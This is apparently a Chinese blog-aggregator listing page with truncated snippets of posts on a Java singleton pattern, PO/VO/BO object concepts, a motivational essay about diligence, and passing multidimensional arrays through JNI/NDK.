       1、内部类 public class Singleton { private static class SingletonHolder { public static Singleton singleton = new Singleton(); } public Singleton getRes
  • PO VO BEAN 理解 q137681467 VODTOpo
    PO：      全称是 persistant object持久对象 最形象的理解就是一个PO就是数据库中的一条记录。 好处是可以把一条记录作为一个对象处理，可以方便的转为其它对象。     BO：     全称是 business object:业务对象 主要作用是把业务逻辑封装为一个对象。这个对
  • 战胜惰性，暗自努力 金笛子 努力
    偶然看到一句很贴近生活的话：“别人都在你看不到的地方暗自努力，在你看得到的地方，他们也和你一样显得吊儿郎当，和你一样会抱怨，而只有你自己相信这些都是真的，最后也只有你一人继续不思进取。”很多句子总在不经意中就会戳中一部分人的软肋，我想我们每个人的周围总是有那么些表现得“吊儿郎当”的存在，是否你就真的相信他们如此不思进取，而开始放松了对自己的要求随波逐流呢？ 我有个朋友是搞技术的，平时嘻嘻哈哈，以
  • NDK/JNI二维数组多维数组传递 wenzongliang 二维数组jniNDK
    多维数组和对象数组一样处理，例如二维数组里的每个元素还是一个数组 用jArray表示，直到数组变为一维的，且里面元素为基本类型，去获得一维数组指针。给大家提供个例子。已经测试通过。 Java_cn_wzl_FiveChessView_checkWin( JNIEnv* env,jobject thiz,jobjectArray qizidata) { jint i,j; int s
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他